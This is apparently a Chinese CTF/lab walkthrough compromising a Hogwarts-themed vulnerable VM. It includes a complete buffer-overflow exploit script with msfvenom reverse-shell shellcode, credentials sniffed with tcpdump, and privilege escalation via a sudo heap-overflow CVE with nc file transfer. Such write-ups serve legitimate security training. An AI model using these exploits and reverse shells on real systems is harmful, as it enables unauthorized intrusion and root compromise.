文章目录
信息收集
主机发现
sudo netdiscover -r 192.168.8.0/24
端口扫描
sudo nmap -A -p- 192.168.8.128
开放了ftp,web,ssh等服务
访问80
端口
dirsearch扫描
gobuster扫描
gobuster dir -u http://192.168.8.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
尽管使用了两个扫描工具,还是没有什么有用的信息
访问ftp
看看有 什么信息
赋予该 文件执行权限,,执行后没有反应
查看运行端口号
发现端口号发端口扫描的时候一样,都是9898
使用nc
工具,尝试监听本地9898端口
给出的信息和端口扫描的时候得出的信息一样
漏洞利用
缓冲区溢出
进行缓冲区溢出测试之前需要关闭ASLR
将kali上的ALSR安全机制关闭,该技术会导致地址空间随机化,不便调试
ALSR由 /proc/sys/kernel/randomize_va_space
决定,默认为2
echo 0 > /proc/sys/kernel/randomize_va_space
edb-debugger工具
apt install deb-bebugger
安装这个图形化程序调试工具
如果安装不上可以从Github上拉取到本地,再进行编译
安装依赖:
sudo apt-get install pkg-config
sudo apt-get install cmake
sudo apt-get install build-essential
sudo apt-get install libboost-dev
sudo apt-get install libqt5xmlpatterns5-dev
sudo apt-get install qtbase5-dev
sudo apt-get install qt5-default
sudo apt-get install libgraphviz-dev
sudo apt-get install libqt5svg5-dev
sudo apt-get install libcapstone-dev
# build and run edb
$ git clone --recursive https://github.com/eteran/edb-debugger.git
$ cd edb-debugger
$ mkdir build
$ cd build
$ cmake -DCMAKE_INSTALL_PREFIX=/usr/local/ ..
$ make
$ sudo make install
$ edb
,打开后点击attach
功能,通过关键字选择已经跑起来的程序server_hogwarts
(前提kali
已经启动了server_hogwarts
程序),点击开始按钮运行
使用Python
生成500个A进行一般探测
python -c "print('A'*500)"
nc连接访问9898
端口,注入生成的500个A
发现目标程序崩溃,位置0x41414141出现了错误
EIP寄存器存储的是下一个指令的内存地址,而ESP寄存器中存储的是具体命令
msf-pattern工具
寻找缓冲区溢出位置:
使用msf生成500个随机字符串
msf-pattern_create -l 500
重新打开一次那个文件,还有edb,将生成的字符串输入到咒语选择的地方
通过报错提示我们得知0×64413764
内存位置有问题,那这个位置很有可能就是想找的溢出位置;
查找该段编码对应的字符串在模式字符串中的偏移量:
msf-pattern_offset -l 500 -q 64413764
也就是说从模式字符串中的第113个字符串开始造成了栈溢出
找到偏移位置后,构造反弹shell,要将构造的反弹shell十六进制后放入到ESP中,再让EIP指向ESP,反弹shell被执行
找到 jmp esp
指令并记录其地址(0x08049d55
)
由于机器指令需要反写,转化为16进制
08049d55---->559d0408---->\x55\x9d\x04\x08(需要写入EIP的内容)
使用Msfvenom构造反弹shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.8.8 LPORT=6868 -b "\x00" -f python
# LHOST:改为 kali 的 IP;
# LPORT:改为监听反弹 shell 的端口号;
# -b "\x00":过滤坏字符(’\0’),避免输入提前终止
得出的Payload:
buf = b""
buf += b"\xbb\xae\xef\x70\xa4\xda\xd0\xd9\x74\x24\xf4\x5a"
buf += b"\x33\xc9\xb1\x12\x83\xea\xfc\x31\x5a\x0e\x03\xf4"
buf += b"\xe1\x92\x51\x39\x25\xa5\x79\x6a\x9a\x19\x14\x8e"
buf += b"\x95\x7f\x58\xe8\x68\xff\x0a\xad\xc2\x3f\xe0\xcd"
buf += b"\x6a\x39\x03\xa5\xac\x11\xfb\x3d\x45\x60\xfc\x27"
buf += b"\x41\xed\x1d\xe7\x0f\xbe\x8c\x54\x63\x3d\xa6\xbb"
buf += b"\x4e\xc2\xea\x53\x3f\xec\x79\xcb\xd7\xdd\x52\x69"
buf += b"\x41\xab\x4e\x3f\xc2\x22\x71\x0f\xef\xf9\xf2"
构造exp脚本
# exp.py
import struct, socket,sys
buf = b""
buf += b"\xbb\xae\xef\x70\xa4\xda\xd0\xd9\x74\x24\xf4\x5a"
buf += b"\x33\xc9\xb1\x12\x83\xea\xfc\x31\x5a\x0e\x03\xf4"
buf += b"\xe1\x92\x51\x39\x25\xa5\x79\x6a\x9a\x19\x14\x8e"
buf += b"\x95\x7f\x58\xe8\x68\xff\x0a\xad\xc2\x3f\xe0\xcd"
buf += b"\x6a\x39\x03\xa5\xac\x11\xfb\x3d\x45\x60\xfc\x27"
buf += b"\x41\xed\x1d\xe7\x0f\xbe\x8c\x54\x63\x3d\xa6\xbb"
buf += b"\x4e\xc2\xea\x53\x3f\xec\x79\xcb\xd7\xdd\x52\x69"
buf += b"\x41\xab\x4e\x3f\xc2\x22\x71\x0f\xef\xf9\xf2"
payload = b'A'*112 + b'\x55\x9d\x04\x08' + b'\x90'*32 + buf
#payload = 112 * b'A' + struct.pack('I',0x08049d55) + 32 * b'\x90' + buf
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.8.8', 9898))
s.send((payload))
s.close()
except:
print("Wrong!")
sys.exit()
成功拿到shell
docker容器内提权
在harry的目录下查看到.mycreds.txt
中有一串疑似密码的字符串Harryp0tter@Hogwarts123
,查看是否可以用来ssh登录
22端口下发现无法进入,前面端口探测到2222端口也是ssh服务,尝试在2222端口连接
harry : HarrYp0tter@Hogwarts123
ssh harry@192.168.8.128 -p 2222
连接成功第一件事就是看看有没有能够以root
省份执行的命令
结果发现有所有的权限,而且还有不需要密码
查看root
目录下
tcpdump流量分析
根据提示,是要让我们把21端口的流量 监听分析一下,同时,使用ip a发现,这应该不是靶机本体,应该是在一个docker中,根据ip地址进行判断,这个2222端口应该是docker中的ssh,所以我们并没有进入到靶机本体的22端口,
监听21端口流量
tcpdump -i eth0 port 21
发现 neville
用户,密码bL!Bsg3k
连接22
端口成功,并且找到了第二个flag
再次查看ip
,此时已经从docker容器
里出来了
容器外- sudo漏洞提权
查看sudo
版本
sudo --version
网上找出该版本是sudo堆溢出漏洞
,漏洞编号:CVE-2021-3156
,普通用户可以通过利用此漏洞,在默认配置的 sudo 主机上获取root权限
exp地址:https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py
在靶机中查看sudo的路径
which sudo
然后修改下载的exp里的SUDO_PATH
靶机开启监听,端口6868
nc -lvnp 6868 > exploit_nss.py
kali机访问靶机的6868
端口,上传修改好的exp
nc 192.168.8.128 6868 < exploit_nss.py -w 1
在靶机上运行exp即可提权成功!